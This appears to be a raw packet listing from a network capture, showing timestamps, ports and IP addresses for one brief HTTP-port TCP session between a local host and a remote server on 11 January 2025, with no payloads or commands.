Jan 11, 2025 03:42:00.197890043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.197925091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.198067904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.198079109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.198108912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.217818975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.217860937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.217870951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.217926025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.217968941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.217979908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.218012094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.218135118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.218146086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.218157053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.218170881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.218203068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.237210989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237277985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237308025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237335920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.237360001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237394094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237404108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.237507105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237540960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237554073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.237576008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237616062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.237740040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237773895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237807035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237812996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.237839937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237873077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.237878084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238167048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238199949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238228083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238234043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238266945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238276005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238302946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238341093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238441944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238475084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238514900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238522053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238619089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238692999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238701105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238929033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238960981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.238970041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.238993883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239028931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239034891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239092112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239124060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239130020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239157915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239190102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239197969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239237070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239269018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239278078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239347935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239387035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239682913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239727974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239768982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239835024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239864111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239903927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.239912987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239959955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.239991903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240001917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240051985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240084887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240089893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240117073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240149021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240154982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240194082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240233898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240693092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240726948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240760088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240770102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240792990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240824938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240833044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240858078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240890026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240896940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240922928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.240959883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.240967989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241000891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241034985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241039038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.241607904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241647959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.241653919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241703987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241736889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241744041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.241769075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241801977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241806030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.241835117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.241873980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.241879940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.243334055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.247287035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255103111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255168915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255228996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255259037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255297899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255307913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255363941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255403042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255409956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255475044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255516052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255631924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255664110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255697966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255705118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255829096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255867004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.255880117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255912066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.255948067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.256105900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256139040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256170034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256175995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.256248951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256282091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256287098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.256314993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256346941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256350994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.256381035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.256417036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.266182899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275017977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275062084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275094032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.275151014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275191069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.275223017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275257111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275295019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.275379896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275413036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.275449991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284049034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284106016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284137011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284148932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284198046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284231901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284238100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284326077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284363985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284475088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284507036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284545898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284554958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284589052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284621954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284629107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284656048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284708977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.284842968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284935951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284967899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.284971952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.304490089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304517031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304536104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304584980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.304644108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.304701090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304716110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304757118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.304811001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304833889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304847956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.304867983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.323987007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324054956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324064016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324079037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324105024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324161053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324213028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324237108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324285984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324350119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324387074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324397087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324481010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324526072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324529886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324562073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324595928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324605942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324769020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324803114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324815989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.324835062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324867964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.324877977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325126886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325160027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325170040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325192928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325232029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325237989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325273037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325313091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325541019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325572968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325607061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325613022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325647116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325656891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325675011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.325680971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325717926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.325979948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326046944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326080084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326101065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.326124907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326158047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326165915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.326190948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326224089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326236010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.326257944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326291084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326323032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.326333046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326364994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326369047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.326936960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326968908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.326981068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.326998949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327039003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327044964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327076912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327110052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327116013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327142954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327174902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327176094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327218056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327256918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327261925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327267885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327295065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327301025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327692032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327737093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327754974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327790022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327828884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327833891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327838898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327872038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327881098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.327904940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327938080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.327948093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329061031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329102993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329128981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329137087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329180002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329185963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329297066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329315901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329334021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329350948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329391956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329545021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329577923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329612017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329634905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329644918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329684019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329696894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329730988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.329771042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.329890013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342068911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342123985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342130899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342159033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342206955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342282057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342314959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342358112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342417002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342467070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342506886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342509985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342542887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342577934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342607021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342793941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342827082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342839956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342889071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.342932940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.342992067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.343024969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.343065977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.355820894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.361743927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.361798048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.361828089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.361850023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.361880064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.361920118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.361927986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.361963034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.362000942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.362005949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.362047911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.362091064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:42:00.371038914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:42:00.371109009 CET	80	49730	193.143.1.205	192.168.2.4
